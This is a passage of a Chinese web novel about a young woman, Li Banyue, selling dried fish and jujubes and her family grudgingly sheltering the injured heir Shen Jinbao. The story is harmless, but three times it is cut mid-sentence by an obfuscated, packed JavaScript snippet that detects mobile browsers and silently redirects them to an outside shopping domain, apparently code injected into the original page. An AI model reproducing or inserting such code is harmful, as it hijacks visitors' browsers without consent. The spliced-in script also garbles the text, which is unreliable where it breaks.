李冬生假意生气“哼”了一声,把手里拿着玩的树枝扔了。 半月抿嘴叹了口气:“看他的样子,往后估计也没钱来买咱家的鱼干了,这下你可以把心放回肚子里了吧?” “嘿嘿,那感情好,这就叫恶有恶报!”李冬生一下就欢快起来,帮着半月一起收拾东西。 卖竹编的大爷也开始收摊了,他把编好的竹篮一个一个摞起来,用麻绳捆好,看向半月:“胖丫头,下个集还来?” “来!”半月拿出食盒里的两块鱼干,用叶子包着递给老大爷。 “这两块鱼干您尝尝。” “这哪儿成!”老大爷摆手推拒。 半月把鱼干塞进老大爷的竹筐:“您拿着,要不是您教我和弟弟吆喝,我们这鱼干不定得卖到什么时候。鱼干不多,您要是不收,就是嫌弃我们了!” “哈哈哈……”老大爷摸着胡子笑了几声,接着道:“你这丫头怪不错的,下次也早点来,占个好位置,你今天这位置不错,人来人往都看得见。” “诶!”半月应了一声,叫上李冬生一起回家。 李冬生拎着食盒,闷着头走在前面。 走出集市的时候,半月回头看了一眼。青溪河边,摊位陆续收了,河面上有光,碎碎的晃眼睛。 她转过身,和李冬生一起往瓦窑村走。 走到半路,半月和李冬生把刘翠兰早上塞的杂粮饼子拿出来,边走边吃。 饼子凉了,边缘有点硬,但掺了红薯泥,嚼着还是甜的。 “胖丫。” “嗯?” “你说,刚才那个沈家的人是怎么尝出咱们的鱼腌了一夜还晒了七天的?”李冬生一边嚼饼子一边含糊不清的问。 半月想了想。上辈子她见过这样的人,一个老饕,蒙着眼尝了她八道菜,把每道菜用的食材、火候、调味一样一样说出来,分毫不差,后来那人成了她餐厅的常客。 “有些人天生味觉灵敏,这样的人,万里挑一。” 李冬生“哦”了一声,走了一段,又开口了。 “那他比你怎么样?” 半月想了想。 “不知道,但他那条舌头确实厉害。” 李冬生不说话了,闷头走路,快走到村口的时候,他忽然冒出一句:“那下回他来,我少瞪他两眼。” 半月伸手,笑着在他后脑勺上拍了一下。 快到家的时候,半月老远就看见刘翠兰在院门口张望。 一瞧见他们,刘翠兰小跑着迎上来。 “晌午都过了,可算回来了,娘都担心死了!”刘翠兰一边接过半月手里的食盒,一边拉着半月上下打量,生怕她又磕着碰着了。 半月挽住刘翠兰的胳膊,笑道:“娘,我没事,今天可顺利了,走,咱回家说!” 两人一起往屋里走。 李冬生跟在后面喊:“娘,你眼里咋就只有胖丫?你儿子我也是辛苦吆喝了一上午呢!哎,等等我呀!” 进了屋,半月和李冬生各自端起一碗水,咕咚咕咚喝了个干净。 刘翠兰打开食盒,里面只剩下几条鱼干。她瞪大了眼睛:“卖完了?” 半月点了点头:“卖完啦!” 刘翠兰嘴巴张得老大:“我滴个乖胖丫,头回做鱼干就卖了这么多?不愧是我刘翠兰生的女儿!”她笑得合不拢嘴,眼里满是自豪。 看到刘翠兰的反应,半月嘴角止不住滴上扬:“娘,这是今天卖鱼干挣的铜板,你拿着。” 半月把包铜钱的布包拿出来,摊开放在桌上。 她和李冬生在路上就数过了,刚好五十文,姐弟俩也商量好了,把这些钱全交给家里。刨去盐用掉的本钱,差不多净赚四十文,剩下的几条鱼干,正好留给家里人打打牙祭。 刘翠兰看着那一小堆铜板,整个人愣住了,她坐下来,伸手摸了摸那堆铜钱。 “半月呀,这些钱你自己收着,娘还有银钱,你爹那儿也还挣着钱呢!”刘翠兰把铜钱推还给半月。 “娘,家里米缸都见底了,我又用掉了那么多盐,样样都得花钱买。这钱你先拿着,给家里添点粮食。等我把剩下的鱼腌了,下次赶集还能换钱。” 李冬生用袖子擦了把嘴边的水渍:“对啊娘,你拿钱去买粮,我下学了天天去抓鱼,爹就不用那么辛苦了!” “那可不成!”刘翠兰用手指戳了李冬生的脑门一下,“不能为了抓鱼把学业荒废了,赚钱的事有你爹和我在呢,你给我消停些!” 她又侧身对着半月,沉默了一瞬说:“胖丫,这钱是你和你弟弟赚的,你先收着,至于花不花,等你爹下工回来再说。” 半月看了看刘翠兰的脸色,知道拗不过她,便把铜钱收起来。 刘翠兰这才满意,转身进灶房热粥去了。 半月坐在堂屋里,把铜钱重新包好,脑子里转着事情。 李冬生还要上学,不能天天去抓鱼。再说天气一天比一天凉了,溪水冷得刺骨,他一个半大孩子蹲在水里摸鱼,想想就让人心疼。而且入了秋鱼也渐渐少了,想靠这个长久吃饭是不行的。 得想别的法子。 她把李冬生这段时间摸回来的鱼在心里过了过。大的做了鱼干,小的还养在水缸里,也就七八条,做不了多少东西。 但鱼的鲜味不止在肉里,鱼骨、鱼头、鱼尾,这些别人扔掉的东西,吊出来的汤比鱼肉还鲜。 上辈子她的餐厅有道招牌汤,就是用鱼骨吊的。吊足了火候,汤色奶白,鲜得客人把碗底都刮干净。 鱼骨不要钱,码头上的鱼贩子每天扔掉一大堆。如果能弄回来吊成汤,配上豆腐、野菜,就是一碗能卖钱的好东西。 但那些还得从长计议,眼下能指望的,还是鱼干。 于是半月走进灶房,捞出水缸里剩的鱼,开膛破肚,全给腌了。 做完这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500272|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她又去到院子里,目光落在院墙根底下那丛野葱旁边,那里有几株紫苏,是前年刘翠兰种的,后来没管,自己年年发。紫苏叶已经有点老了,但香味还在。 紫苏去腥,和鱼干搭在一起,比野葱还出味。 半月走到院墙根,蹲下来摸了摸紫苏叶子,叶缘有点发黄,但揉一揉,香气还是冲鼻子的。 能行!半月在心里道。 她掐了几片老叶子,又看了看旁边的野葱。葱籽已经结出来了,黑黑小小的,一碰就掉。她把葱籽收了一把,明年开春撒下去,又能长一大片。 下午的日头斜了,院子里一半亮一半阴。刘翠兰在灶房里收拾,李冬生趴在门槛上写字,树枝蘸了水在石板上划拉,写完了用帕子擦掉,再写。 半月搬了个小板凳坐在院子里,把剩下的鱼干取出来。她留了八条,够家里人一人两条。她将鱼干切成细丝,紫苏叶也切碎了拌进去。 没有油,她把鱼干丝和紫苏碎码在小碟子里,上锅蒸。 蒸熟了端出来,紫苏的香气裹着鱼干的咸鲜,味道比野葱拌的又厚了一层。野葱的冲是往上走的,紫苏的香是往下沉的,把鱼的鲜味压住了,不让它散。 李冬生闻着味儿跑过来,伸手就捏了一根。 “胖丫,这个比今天卖的那个还好吃!” “真的?” “真的!这个香!”他又捏了一根,嚼着嚼着忽然说,“那个沈家的人要是尝了这个,肯定能尝出里面放了紫苏。” 半月笑了一声,把碟子往他那边推了推。 刘翠兰也过来尝了一根,嚼了嚼,满足的点头说:“嗯,这个鲜。” 半月说:“院子里紫苏老了,再不吃就过季了。趁着还有,下回赶集我拌一些进去试试。” 刘翠兰点了点头:“成,你爹爱吃鱼,等他回来尝尝。” 傍晚的时候,半月把晾在院子里的衣裳收进来。经过这一天的走动,身上的伤已经不碍事了,蹲下站起都不扯着疼。 她试着弯腰搬了一下木盆,腰上使了使劲,稳稳的。 她站在院子里,看着天边的云,云烧成橘红色,一层一层铺开,瓦窑村的屋顶都镀了层金边,远处有人家开始做晚饭,炊烟从茅草顶上升起来。 上辈子这时候,她刚从后厨出来,换下厨师服,一个人走到停车场。 手机里没有未接来电,没有未读消息。 开车回去的路上经过一片老居民区,灯亮着,有人在窗口炒菜,锅铲碰着铁锅的声音,刺啦一声。她把车窗摇下来,闻到糖醋排骨的味道。 后来她再也没做过糖醋排骨。 半月收回目光,院子里的柴火堆被夕阳拉得老长,墙头上那蓬野草镀了层金。李冬生在门槛上写完最后一个字,把石板靠墙放好,跑过来蹲在她旁边。 “胖丫,明天做啥?” “明天把水缸里那几条小鱼也腌上。” “那我放学回来帮你。” “好。” 天擦黑的时候,院门被推开了。 半月正在灶房里帮刘翠兰烧火,听见动静探出头去。李有福背着一个人走进院子,脚步沉重,扁担搁在门边,哐当一声。 “爹?”半月站起来往外走。 李有福把背上的人放在院子里的板凳上,直起腰喘了口气。 那人在板凳上坐稳了,抬起头。 5. 收留一晚 月光映在他脸上,脏兮兮的,颧骨上青了一块,嘴角肿着,头发散乱。 半月就着灶房的火光,看到那人的绸衫比早上在集市上见时更脏了,衣襟上多了好几块泥印子,像被人推倒过。左脚的布鞋趿拉着,脚踝肿得老高,缠着布条,布条上渗着草药汁。 李冬生从堂屋里跑出来,看见那人,眼睛瞪圆了:“是你?!” 刘翠兰也从灶房里出来,愣了一下,目光落在那人脸上的淤青和肿着的脚踝上。 她蹙眉看向李有福:“怎么回事?” 李有福擦了把汗:“码头上碰见的,上回我在码头扛麻袋,脚下滑了,是他搭了把手托住的,不然那袋沙包就砸我身上了。我还没谢他,一转眼人就不见了,今天又碰上了。” 他看了一眼那人:“这小伙子脚伤了走不了路,我把他背回来了。” 刘翠兰走过去,蹲下来看了看他的脚踝,肿得发亮,布条缠得紧,勒出一道印子。 “这怎么伤的?” 沈金宝眼神有些呆滞地看着众人,没说话。 李有福在旁边坐下来,从怀里摸出旱烟袋,没点,拿在手里转:“我今天从跳板上下来,脚底下踩了块烂木板,滑了一下。肩上扛着沙包,眼看要连人带包摔进水里,他冲过来推了我一把,沙包没砸着我,却砸在他脚踝上了。” 半月看向那人,他的左脚踝肿得厉害,布鞋已经穿不住了。 “那他脸上的伤呢?”刘翠兰问。 李有福沉默了一会儿。 “后来码头上来了几个人,认得他。黄龙县过来的,说是以前跟他家有来往。”李有福把旱烟袋搁在膝盖上,“我下工的时候,看见那几个人把他从墙根底下拽起来,问他怎么沦落到这步田地了,沈家的少爷也有今天。他没理,那几个人就动了手,把他打晕了!” 院子里安静了一瞬。 刘翠兰的手停在沈金宝脚踝边上,抬起头:“沈家?哪个沈家?” “差点把胖丫害死的那个沈家!”李冬生的脸涨得通红,拳头攥得紧紧的,“他就是沈家的大少爷沈金宝!今早还在我们摊子上买鱼干,胖丫在集市上就认出他了!” 刘翠兰的手像被烫了一样缩回来,她猛地站起来,往后退了两步,脸上像被人扇了一巴掌。 李有福手里的旱烟袋掉在地上。 他偏头看向沈金宝,沈金宝坐在板凳上,左腿伸得直直的,脚踝肿得老高。 “冬生说的是真的?你是沈家大少爷沈金宝?!”李有福的声音发颤。 沈金宝抬了抬眼皮:“是。” 李有福的喉结动了动,他弯腰把旱烟袋捡起来,攥在手里,攥得指节发白。 “就是你家的姨娘,差点把我闺女打死!”刘翠兰冲上去,愤怒的指着沈金宝鼻子。 沈金宝没躲,反而笑了一下,那笑容里有几分自嘲,几分不屑。 “打她的不是我,下令的也不是我。我那天就是从廊下路过,看见一个丫头趴在地上,一身是血,旁边还有人举着板子。我就拦了一下,我要不拦,你闺女今天还能好好站在这儿?” “你拦了一下又怎样!”刘翠兰的眼眶红了。 “她还是在床上躺了一个多月!我给她换药的时候,她人烧迷糊了,手攥着褥子,指甲都掐进肉里去了!她疼得把嘴唇咬破了,血顺着下巴淌,一声都没哭,你为什么不早点拦住板子!”刘翠兰气得直抹眼泪。 沈金宝的笑容收住了,他沉默了一瞬,嘴角动了动,像是想说什么狠话,却没说出来。 他心想:这顿骂挨得可真冤。人是柳媚儿那个毒妇让人打的,自己不过是路过,一时兴起想给那毒妇添个堵,这才伸手拦了一下。 至于救的是谁、长什么样,压根没印象,谁知道就是这家的女儿!救了人反倒落一身不是,他上哪儿说理去? “你们沈家的人都一样,吃饱了撑着没事干,拿别人的命不当命,都不是好东西!”见沈金宝闷声不吭,刘翠兰接着数落他,发泄心中怨气。 “别拿我和柳媚儿那个毒妇比!”沈金宝眼中突然布满戾气。 他用舌头顶了一下腮帮:“我沈金宝现在是条丧家犬,黄龙县的人见了我,不是吐口水就是踩一脚。我今天被一群人狠揍,连手都懒得还。” 他顿了顿:“但我沈金宝这辈子没欠过谁的,你闺女不是我害的,不是小爷做的事,小爷坚决不认!小爷烂命一条,你们要是觉得我欠你们一条命,拿去就是!”沈金宝梗着脖子,一副破罐子破摔的样子。 “你——!”刘翠兰指着沈金宝,被气得说不出话。 “行了,都少说两句!”李有福突然喊了一声。 “嗨!”他重重叹了口气,拍了一下大腿,攥着旱烟袋蹲了下去,两手抓着自己头发。 一边是帮了自己两次的小伙子,一边是差点儿害死自己闺女的沈家,自己还把沈家人带回了家,怎么就摊上这么个事了呢! “你今晚住这儿,睡堂屋。”沉默了半晌的半月看着沈金宝,平淡开口。 众人都愣住了,院子里安静得只剩灶膛里柴火噼啪的声响。 “明天天亮了,不管你的腿好没好,你都得走。” 半月转过身往屋里走,走到门口停了一下,微微侧头。 “我李半月不欠人情,你帮过我,收留你一晚,当我还你。但你姓沈,这个账,我不能当没有。” 半月说完,进了灶房。 刘翠兰站在院子里,看着沈金宝。她的胸口起伏着,嘴唇抿成一条线。然后她转身也进了灶房,门帘在她身后刷地落下来。 灶房里传来碗碟碰撞的声响,不是收拾,是在做吃的。 李有福跟了进去。 刘翠兰正从缸底刮出杂粮面,掺了红薯泥,揉成面团。她的动作很重,揉面的手一下一下砸在案板上。 李有福没说话,走过去蹲在灶前添柴。 隔了一阵,他才开口:“娃他娘,那小子不是坏人。” 刘翠兰没应声,只是把手里的面团摔得更狠了。 “娘。”怕刘翠兰真生气了,半月怯怯喊了一声。 刘翠兰头也没抬:“你去把院子里那碟腌萝卜端进来。” 半月应了一声,出去端了腌萝卜进来,搁在灶台上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500273|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘翠兰看了一眼,又从碗柜里多拿了一个碗出来。 “这个碗是给你爹的。”她说话的声音还硬着,但比刚才缓了些。 半月嘴唇向上弯了一下。 忙晚饭的功夫,半月向李有福提起想把卖鱼干的钱交给家里的事,被李有福严词拒绝了,让她自己留着花。半月转念一想,自己也能用这钱给家里买东西,便不再纠结。 晚饭摆在院子里的石桌上,有红薯粥,腌萝卜,杂粮饼子,还有半月拌的紫苏鱼干丝。 刘翠兰给每个人盛了粥,轮到沈金宝的时候,她顿了一下,还是盛了一碗搁在他面前,稀的,红薯少,米粒更少。 “吃吧。”李有福端起自己面前的粥,低头喝了一口,没敢看沈金宝。 沈金宝低头看了一眼碗里的粥,倒也没在意。他端起碗,咕咚咕咚喝了几大口。直到碗里的粥下去一半,他才拿起筷子,夹了一块腌萝卜,慢慢嚼着。 桌上没人说话。 李冬生挨着半月坐着,一边扒粥一边偷偷瞄沈金宝。 刘翠兰端着碗吃了两口就放下了,站起来走进灶房,过了一会儿又空着手出来,坐下,端起碗又放下,像是不知该吃什么好。 她瞥了沈金宝一眼,又把脸别过去。 吃到一半,沈金宝忽然停了筷子。 “这腌萝卜,盐放早了。” 李冬生的筷子停在半空,刘翠兰端碗的手也顿了一下。 沈金宝夹起一块萝卜,对着灶房的火光看了看:“萝卜切好之后得用盐杀一下水,直接腌,水出不来,腌出来就软了。” 他把萝卜放进嘴里嚼了嚼:“但味道是好的。盐不多,酸味透得出来。” 李有福放下筷子,看着沈金宝,看了好一会儿。 “你在沈家专门学过吃?” “没有,天生的。” 李有福沉默了一会儿,重新拿起筷子。 “天生的,那就是老天爷赏的。”他顿了一下,“可惜了……” 可惜什么,李有福没说,沈金宝也没问。 刘翠兰白了两人一眼:“吃饭就吃饭,有的吃就不错了,少说那些没用的!” 饭桌上又安静了下来。 沈金宝夹了一筷子紫苏鱼干丝,放进嘴里,嚼了两下,眉毛微微一动。 他嘴唇抿了抿,像是想说什么,又忍住了,只轻轻点了一下头。 然后他便不再客气,一筷子接着一筷子,专挑那碟鱼干丝吃。 鱼干丝本就不多,他一个人就吃掉了大半。 李有福低头喝粥,没吭声。刘翠兰瞥了他一眼,也没说话。 只有李冬生咬着牙,瞪圆了眼睛,死死盯着沈金宝的筷子。那碟紫苏鱼干丝是胖丫专门给自家人拌的,他自己都舍不得多吃,全让这外人给糟蹋了! 沈金宝察觉到那道灼热的目光,慢悠悠地夹起最后一筷子鱼干丝,故意在李冬生眼前晃了晃,然后塞进自己嘴里,嚼得津津有味。 他冲李冬生挑了挑眉,嘴角一弯,那表情分明在说:小爷吃了,你能怎样? 李冬生的拳头在桌子底下攥得咯咯响。 6. 布衣纨绔 半月在桌下轻轻踢了他一脚,使了个眼色:吃饭。 李冬生冷哼一声,端起碗,把粥扒得呼呼响,像是在跟谁赌气。 半月在心里叹了口气,路边的男人捡不得,让他吃饱喝足,才好早些打发了。 吃完饭,刘翠兰起身收拾碗筷。 李有福往堂屋里搬了张旧竹榻,铺上了旧褥子。 刘翠兰放好碗筷后,板着脸进了堂屋,手里却是拿着一套粗蓝布的干净衣衫,丢在了竹榻上。然后又板着脸回了灶房。 沈金宝扶着墙慢慢站起来,左腿拖着,往堂屋走。走到门口,他停下来,没有回头。 “谢谢。”声音不大,但在场的人都听见了。 门帘在他身后放下来,堂屋里传来竹榻被压动的声响,吱呀一声,然后安静了。 月光明亮,半月和李冬生还呆在院子里。 月光明晃晃的,院子里的枣树影子落在地上。 半月还坐着,李冬生拿树枝在地上划拉练字。练了一会儿,他把树枝一扔,蹲到半月旁边。 “胖丫,我突然想起个问题。” “什么?” “那沈金宝,是出了名的纨绔公子哥,你说他为啥会帮素不相识的你,还有咱爹呢?” 这问题倒是把半月给问住了。 她思考了一会儿:“也许,他就是临时起意吧,不管怎样,他帮了我和爹,这是事实。” 李冬生单手捏着下巴,蹙着眉头:“他帮了咱家两回,两回都不知道帮的是谁。” 李冬生站起来,往自己屋里走。走到门口,忽然回过头:“他受了伤,明天走了以后,会不会饿死在路上?” 半月看了他一眼,笑笑说:“怎么,你担心他?” “谁担心他了!”李冬生嘴一撇,“我就是问问。” 半月嘴角弯了一下:“咱爹都四十好几了还能扛沙包赚家用呢,他那么大个人了,饿不死的。再说了,你不是巴不得他早点走吗?” “那倒是。”李冬生嘟囔了一句,然后掀帘进去了。 半月一个人坐在院子里,灶房里的火已经熄了,月光照在院墙上,那蓬野草银亮亮的,她刚站起来往屋里走。 “咚”的一声。 一颗大枣落在她头上,微微有些疼。 半月把大枣捡起来,捏在手里,嘴唇一勾。怎么就把家里这颗枣树给忘了?大枣也能换钱啊! 她抬头看了看满树的枣子,青红相间,压得枝条往下坠。心里盘算着,明天一早打下来,赶个晚集也能卖几十文。 打定注意,半月便往自己屋子的方向走。 经过堂屋门口的时候,门帘掀着一道缝。沈金宝躺在竹榻上,左腿搁在褥子外面,脚踝上的布条被月光照得发白。 半月放下门帘,进了自己的屋。 沈金宝没有睡,他睁着眼,盯着房梁。 沈家倒了之后,他睡过屋檐,睡过草垛,哪儿都睡得着。可这张旧竹榻,却让他翻来覆去的睡不着。 不是硌得慌,是心里头有什么东西堵着。 他脑子里不停想着:这一家人恨他恨得牙痒痒,却还是给了他一碗粥、一张榻。那胖丫头说话硬邦邦的,却是个心软的主。还有那个拿眼瞪他的小子,居然还会问他会不会饿死? 而自己的亲爹呢,却带着个姨娘和庶子提前跑了,连半句话都没给自己留下。 沈金宝轻轻扯了一下嘴角,自己也说不清是想笑还是想叹气。 他闭上眼,又睁开。月光从门帘缝隙里漏进来,细细一道,落在他的手背上。 “多管闲事。”他低声骂了一句,也不知道是骂自己,还是骂别的什么。 第二天天还没亮,半月就醒了。院子里静悄悄的,晨光才蒙蒙亮,李有福和刘翠兰那屋还没动静。 她惦记着那树枣子,轻手轻脚地出了屋。 夜里刮了风,枣树底下落了一层熟透的果子,红彤彤铺了一地。 半月蹲下来,一颗一颗捡进竹篮里。捡完了地上的,她抬头看树上,低处的枝头枣子已经不多了,高处的倒是密密匝匝,压得枝条往下坠。她踮起脚,把能够着的摘下来,再往上就够不着了。 她试着拿竹竿去打,刚举起来—— “打枣子,要打枝条根部。”身后传来一个声音。 半月回过头。 沈金宝扶着门框站在堂屋门口,左腿还是不敢吃劲,脚尖点着地。他换上了李有福那套旧衣裳,穿着有点短,手腕露出来一截。 衣裳虽旧,却遮不住他身上那股劲儿。他的脸洗过了,露出一张带着伤痕,却依旧白净俊郎的面孔。 他有些瘦,但不是病态的瘦,是少年人那种利落的、骨头线条分明的削瘦。眉骨高,眉毛斜斜地挑着,带着一股天生不服气的劲儿。眼睛底下有一层淡淡的青,像是没睡好,反倒添了几分懒洋洋的痞气。 好一个翩翩少年郎!半月一时看得怔住,直到沈金宝目光和她撞上,她才有些慌乱的收回视线,手里紧紧攥着竹竿。 “打枣子不能打果子,要打枝条根部。”他又说了一遍,“打在枝根上,枣子自己落下来,摔不坏。打在果子上,枣子飞出去,落地就裂了。” 半月回过神,忙把竹竿递给他。 沈金宝接过,扶着墙走到枣树底下。他抬头看了看树冠,左腿点着地,重心全压在右腿上。然后他举起竹竿,往一根高枝的根部敲了一下。 “啪”一声,枝条一震,枣子簌簌落下来,雨点似的砸在地上。红的青的,骨碌碌滚了一地。半月蹲下来捡,枣子还带着露水,凉丝丝的,个个饱满圆润,没有一个摔裂的。 沈金宝又敲了一枝,又是一阵枣子雨。 李冬生趿拉?着鞋从屋里跑出来,头发睡得翘成一撮。 “胖丫!你们打枣子怎么不叫我!” 他蹲下来帮着捡,一边捡一边往嘴里塞。咬了一口,含含糊糊地说:“今年的枣子比去年甜!” 刘翠兰也从房间里走了出来,她揉着眼睛问:“打枣子干啥?” “娘,我想打些枣子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500274|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去集市上卖!”半月一边捡枣子,一边偏头回复。 “这玩意家家户户都有,能值几个钱啊?别反把你给累着了!”刘翠兰嘴上说着没必要,却是叹了口气,快步走到院子里帮着捡枣子。 四个人,一人打三人捡。沈金宝敲一枝就停一停,等她们捡完了再敲下一枝。竹竿在他手里很稳,每一记都敲在枝条根部,力道刚好,轻了枣子震不下来,重了枝条会断。 半月一边捡枣子一边想,沈金宝打枣子的手法像是干过活的。可乡下人打枣才懂的那种巧劲,不该是纨绔大少爷会的活儿,他到底是在哪儿学的? 日头升起来的时候,树上的枣子打完了一大半。竹篮装了满满一篮子,红艳艳的,混着几颗青的,露水还没干。 沈金宝把竹竿靠在墙边,扶着墙慢慢走到石桌旁坐下来。左腿伸得直直的,额头上沁着一层薄汗。 刘翠兰从灶房里端出粥来。 半月注意到,沈金宝那碗不再是稀的了,和她碗里的一样,米粒多,红薯少。 李有福从屋里出来,手里拿着扁担。他把扁担靠在石桌上,坐下来端起粥碗,三两下喝完了。 他看了眼沈金宝的腿,擦了把嘴说:“码头往东,有个土地庙。实在没地方去,那儿能遮雨。” 他站起身,把扁担搭在肩上,背对沈金宝:“以后在码头上尽量别乱走,自己的腿要紧。”说完就出了门。 沈金宝看了李有福一眼,沉默了一会儿,随后低头喝粥,喝完了,把碗放在石桌上。他站起来,左腿点着地,慢慢往院门口走。 刘翠兰忽然从灶房里出来,把新烙的杂粮饼子塞进他手里。 “拿着,路上吃。” 沈金宝低头看着手里的布包。 “拿着吧。”刘翠兰的声音还是硬的,“不是我心软。你帮当家的挡过沙包,今早又帮着打了枣子。我们老李家不爱欠人情,拿着。” 沈金宝把布包收进怀里,嘴巴动了动,最后憋出两个字:“谢了。” 李冬生从屋里跑出来,追到院门口,往沈金宝手里塞了一兜用草绳兜着的大枣:“姓沈的,你省着点吃,可别饿死了!” 又觉得自己好像太关心他了,忙硬着嗓子嚷道:“你死了我上哪儿找沈家人算账去!” 沈金宝轻笑一声,撇了李冬生一眼,把大枣提在手里。 他视线落向院子里泥地上写的字:“这字你写的?” 小乡村里上过学堂、会写字的人不多,李冬生得意的扬起下巴:“对!” “真丑。”沈金宝吐出两个字,转身就走。 “你——!”李冬生气得想立马把大枣收回来,可沈金宝已经走出几米远了,他只能用手指气哼哼的指着沈金宝背影。 半月差点儿噗嗤笑出声,李冬生练的字她是见过的,确实歪歪扭扭不成章法,孙夫子为这个没少敲他手板,不过这话她没说出口。 “姐!你看他——”李冬生指着沈金宝消失的方向,脸涨得通红,“我好心给他枣子,他倒好,说我字丑!” 7. 安身之处 半月看着沈金宝消失在村口老槐树旁,心里松了口气。还好这人不是泼皮无赖,她还真怕沈金宝赖在她家不肯走呢。 “行了,人家走都走了。快吃早饭,吃完去学堂,别迟了。” 李冬生嘟囔着回到石桌旁扒粥扒。 半月则是挑了大半框卖相好的大枣装在竹篮里,剩下的留着自家人吃。 “娘,我去集市上卖枣。”半月提着竹篮子,冲灶房里喊了声。 刘翠兰在灶房里应了一声:“去吧,午饭给你留着,早些回来。” 半月提着竹篮子往外走。 李冬生吃完了,抹着嘴跟来:“胖丫,我帮你提。” “你今天不去学堂?” “去啊,顺路,我提到集市口再给你。” “成!”半月揉揉李冬生的脑袋,这个弟弟很贴心。 两人一前一后出了院子,踏上村里的土路。晨光从村道那头斜照过来,暖融融的,把两个人的影子拉得细细长长。 路两边的田里,露水还没有散尽,草叶尖上挂着亮晶晶的水珠。早起的庄稼人已经在地里忙活了,锄头一起一落,碰到干硬的土坷垃,发出闷闷的声响。远处有几声鸟叫,脆生生的。 空气里有泥土翻过的味道,混着青草和露水的湿气,吸一口,凉丝丝的。 李冬生走在前面,竹篮子在手上一晃一晃的,嘴里还哼着什么调子。半月跟在后头,看着他的后脑勺,不自觉的扬起了嘴角。 两人一路说说笑笑,不知不觉就到了镇上。 集市口人渐渐多了起来,卖菜的、挑担的,进进出出。李冬生停住脚步,把竹篮子换了个手递给半月。 “胖丫,我去学堂了。” “去吧,路上慢点。” 两人在集市口分了道。 今日虽不是赶大集,但半月到的晚,集市里已经人山人海了。 她不好容易才寻了个角落,放下竹篮子占住摊位。 她旁边是个卖菜的大婶,地上摆着几捆小白菜和一堆红薯。对面是个卖鸡蛋的婆子,竹篮里垫着稻草,鸡蛋一个一个码得整整齐齐。 天气倒不算热,但半月人胖,走了一路出了汗,便站着用手给自己扇风。 “大枣,卖大枣!又甜又脆的新鲜大枣!”半月一边扇风一边吆喝。 “枣子怎么卖?”旁边的卖菜大婶瞟了一眼,问道。 “一文钱五个。” 大婶撇了撇嘴:“一文钱五个?丫头,这季节家家户户房前屋后都是枣子,谁花钱买这个?” 半月笑了笑:“没事,能卖多少是多少。” “呵呵,你这心态倒是好。不过生意不是这么个做法。喏,你看那边卖枣子的,人家卖一文钱十个。”大婶好心指了指方向。 半月顺着卖菜大婶指的方向看过去,隔了几个摊位,确实有个老汉面前摆着一筐枣子,个头比她的小些,但数量更多。 半月蹙了蹙眉,她知道大庙镇的枣子不值钱,但没想到价格能贱成这样。 但人都来了,总不能原样带回去吧? “大枣,又香又脆的大枣,免费试吃喽!”半月只能继续卖力吆喝。 集市上人来人往,可最多只是扫她一眼,没有一个人停下来。 就这样耗了大半个时辰,半月一单都没开。日头越升越高,晒得她额头沁出一层薄汗。 旁边卖菜的大婶已经卖掉了大半白菜和红薯,再次劝她:“胖丫头,这玩意不好卖,别浪费时间了,收拾收拾回去吧!” 半月心里也有些着急,再耽搁一阵,不知道还能不能买到鱼骨了。 就在这时,一个妇人牵着孩子路过。孩子指着红枣不肯走,妇人皱起眉头问:“怎么卖的?” “一文钱五个。” “随处可见的玩意,卖这么贵?”妇人撇了撇嘴。 “我这枣子个大味甜,比别家的都好,给孩子尝尝,不要钱。”半月忙拿起一颗枣子递过去。 孩子塞进嘴里,“嘎嘣”咬了一口:“娘,甜!” 妇人又皱了一下眉,最后还是掏了一文钱,数了五个枣子走了。 接下来小半个时辰,又来了两个买主。一个买了两文的,一个买了三文的,都是尝了之后才掏的钱。 半月低头一看,篮子里的枣子还剩大半,心里顿时急了起来。 旁边卖菜大婶摆的东西已经卖光,正数着铜钱准备收摊。 她一边收拾一边对半月说:“胖丫头,我说句实在话。你这枣子是甜,可枣子这东西谁家没有啊?卖不上价的,你得卖别人家没有的东西才行。” “成,我听您的。谢谢您嘞!”半月不再耽搁,跟大婶打了个招呼,拎起竹篮走了。 她得去码头上碰碰运气。 码头离青溪集市不远,走一炷香的工夫就到了。 半月到的时候,日头已经快到头顶了,码头上正是最忙的时候。 两条货船靠岸,扛活的工人们来回搬货,跳板被踩得咯吱作响。她在人群里找了找,没看见李有福,约莫是在哪条船上还没下来。 码头靠河边有一排鱼摊。木盆里养着活鱼,旁边竹筐里扔着刮下来的鱼鳞、抠出来的鱼鳃、剖出来的鱼肠子,腥味冲鼻子。 一个五十来岁的鱼贩子正在杀鱼,刀背一拍鱼头,刮鳞剖肚,动作利索。 半月在他摊前蹲下来:“大叔,这鱼骨怎么卖?” 